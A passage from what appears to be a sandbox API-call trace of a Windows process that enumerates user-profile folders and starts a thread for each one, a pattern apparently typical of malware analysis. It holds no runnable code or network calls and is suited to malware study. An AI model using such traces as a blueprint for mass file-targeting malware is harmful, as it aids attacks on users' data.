dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0141.376] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0141.376] wcscmp (_String1="Documents", _String2=".") returned 1 [0141.376] wcscmp (_String1="Documents", _String2="..") returned 1 [0141.376] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3a) returned 0x8d25d8 [0141.376] wcscpy (in: _Dest=0x8d25d8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.376] wcscat (in: _Dest=0x8d25d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.376] wcscat (in: _Dest=0x8d25d8, _Source="Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0141.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d25d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0141.378] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0141.378] wcscmp (_String1="Favorites", _String2=".") returned 1 [0141.378] wcscmp (_String1="Favorites", _String2="..") returned 1 [0141.378] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3a) returned 0x8d2590 [0141.378] wcscpy (in: _Dest=0x8d2590, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.378] wcscat (in: _Dest=0x8d2590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.378] wcscat (in: _Dest=0x8d2590, _Source="Favorites" | out: _Dest="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites" [0141.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0141.379] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0141.379] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0141.379] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0141.379] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3a) returned 0x8d2860 [0141.380] wcscpy (in: _Dest=0x8d2860, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.380] wcscat (in: _Dest=0x8d2860, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.380] wcscat (in: _Dest=0x8d2860, _Source="Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0141.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0141.383] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xa459e0c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa459e0c0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0141.383] wcscmp (_String1="Microsoft Help", _String2=".") returned 1 [0141.383] wcscmp (_String1="Microsoft Help", _String2="..") returned 1 [0141.383] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f97d8 [0141.383] wcscpy (in: _Dest=0x8f97d8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.383] wcscat (in: _Dest=0x8f97d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.383] wcscat (in: _Dest=0x8f97d8, _Source="Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0141.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f97d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0141.384] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0141.384] wcscmp (_String1="Mozilla", _String2=".") returned 1 [0141.384] wcscmp (_String1="Mozilla", _String2="..") returned 1 [0141.384] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8da0d0 [0141.384] wcscpy (in: _Dest=0x8da0d0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.384] wcscat (in: _Dest=0x8da0d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.384] wcscat (in: _Dest=0x8da0d0, _Source="Mozilla" | out: _Dest="C:\\Users\\All Users\\Mozilla") returned="C:\\Users\\All Users\\Mozilla" [0141.384] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da0d0) returned 1 [0141.384] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0141.384] wcscmp (_String1="Oracle", _String2=".") returned 1 [0141.384] wcscmp (_String1="Oracle", _String2="..") returned 1 [0141.384] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x34) returned 0x8da0d0 [0141.384] wcscpy (in: _Dest=0x8da0d0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.384] wcscat (in: _Dest=0x8da0d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.384] wcscat (in: _Dest=0x8da0d0, _Source="Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0141.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0141.385] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0141.385] wcscmp (_String1="Package Cache", _String2=".") returned 1 [0141.385] wcscmp (_String1="Package Cache", _String2="..") returned 1 [0141.385] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f9698 [0141.386] wcscpy (in: _Dest=0x8f9698, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.386] wcscat (in: _Dest=0x8f9698, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.386] wcscat (in: _Dest=0x8f9698, _Source="Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0141.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0141.387] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0141.387] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0141.387] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0141.387] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d2ce0 [0141.387] wcscpy (in: _Dest=0x8d2ce0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.387] wcscat (in: _Dest=0x8d2ce0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.387] wcscat (in: _Dest=0x8d2ce0, _Source="Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0141.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0141.388] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0141.388] wcscmp (_String1="Sun", _String2=".") returned 1 [0141.388] wcscmp (_String1="Sun", _String2="..") returned 1 [0141.388] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2e) returned 0x8daa60 [0141.388] wcscpy (in: _Dest=0x8daa60, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.388] wcscat (in: _Dest=0x8daa60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.388] wcscat (in: _Dest=0x8daa60, _Source="Sun" | out: _Dest="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun" [0141.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8daa60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0141.390] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0141.390] wcscmp (_String1="Templates", _String2=".") returned 1 [0141.390] wcscmp (_String1="Templates", _String2="..") returned 1 [0141.390] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3a) returned 0x8d2c50 [0141.390] wcscpy (in: _Dest=0x8d2c50, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.390] wcscat (in: _Dest=0x8d2c50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.390] wcscat (in: _Dest=0x8d2c50, _Source="Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0141.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2c50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0141.391] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0141.391] FindClose (in: hFindFile=0x8da3d0 | out: hFindFile=0x8da3d0) returned 1 [0141.391] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9061d0) returned 1 [0141.391] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa98) returned 1 [0141.391] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 Thread: id = 1667 os_tid = 0x278 [0139.731] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x26) returned 0x8d8898 [0139.731] wcscpy (in: _Dest=0x8d8898, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.731] wcscat (in: _Dest=0x8d8898, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.731] wcscat (in: _Dest=0x8d8898, _Source="*" | out: _Dest="C:\\Users\\Default\\*") returned="C:\\Users\\Default\\*" [0139.731] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906438 [0139.731] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b50 [0139.731] wcscmp (_String1=".", _String2=".") returned 0 [0139.731] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.732] wcscmp (_String1="..", _String2=".") returned 1 [0139.732] wcscmp (_String1="..", _String2="..") returned 0 [0139.732] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0139.732] wcscmp (_String1="AppData", _String2=".") returned 1 [0139.732] wcscmp (_String1="AppData", _String2="..") returned 1 [0139.732] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9d10 [0139.732] wcscpy (in: _Dest=0x8d9d10, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.732] wcscat (in: _Dest=0x8d9d10, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.732] wcscat (in: _Dest=0x8d9d10, _Source="AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0139.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c [0139.733] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0139.733] wcscmp (_String1="Application Data", _String2=".") returned 1 [0139.733] wcscmp (_String1="Application Data", _String2="..") returned 1 [0139.733] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f9468 [0139.733] wcscpy (in: _Dest=0x8f9468, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.733] wcscat (in: _Dest=0x8f9468, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.733] wcscat (in: _Dest=0x8f9468, _Source="Application Data" | out: _Dest="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0139.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320 [0139.734] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0139.734] wcscmp (_String1="Contacts", _String2=".") returned 1 [0139.734] wcscmp (_String1="Contacts", _String2="..") returned 1 [0139.734] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x34) returned 0x8d9d50 [0139.734] wcscpy (in: _Dest=0x8d9d50, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.734] wcscat (in: _Dest=0x8d9d50, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.734] wcscat (in: _Dest=0x8d9d50, _Source="Contacts" | out: _Dest="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts" [0139.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0139.735] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0139.735] wcscmp (_String1="Cookies", _String2=".") returned 1 [0139.735] wcscmp (_String1="Cookies", _String2="..") returned 1 [0139.735] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9d90 [0139.736] wcscpy (in: _Dest=0x8d9d90, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.736] wcscat (in: _Dest=0x8d9d90, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.736] wcscat (in: _Dest=0x8d9d90, _Source="Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0139.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328 [0139.738] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0139.738] wcscmp (_String1="Desktop", _String2=".") returned 1 [0139.738] wcscmp (_String1="Desktop", _String2="..") returned 1 [0139.738] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9dd0 [0139.738] wcscpy (in: _Dest=0x8d9dd0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.738] wcscat (in: _Dest=0x8d9dd0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.738] wcscat (in: _Dest=0x8d9dd0, _Source="Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0139.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c [0139.739] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0139.739] wcscmp (_String1="Documents", _String2=".") returned 1 [0139.739] wcscmp (_String1="Documents", _String2="..") returned 1 [0139.739] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8d9e10 [0139.739] wcscpy (in: _Dest=0x8d9e10, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.739] wcscat (in: _Dest=0x8d9e10, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.739] wcscat (in: _Dest=0x8d9e10, _Source="Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0139.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0139.740] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0139.740] wcscmp (_String1="Downloads", _String2=".") returned 1 [0139.740] wcscmp (_String1="Downloads", _String2="..") returned 1 [0139.740] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8d9e50 [0139.740] wcscpy (in: _Dest=0x8d9e50, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.740] wcscat (in: _Dest=0x8d9e50, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.740] wcscat (in: _Dest=0x8d9e50, _Source="Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0139.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334 [0139.741] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, 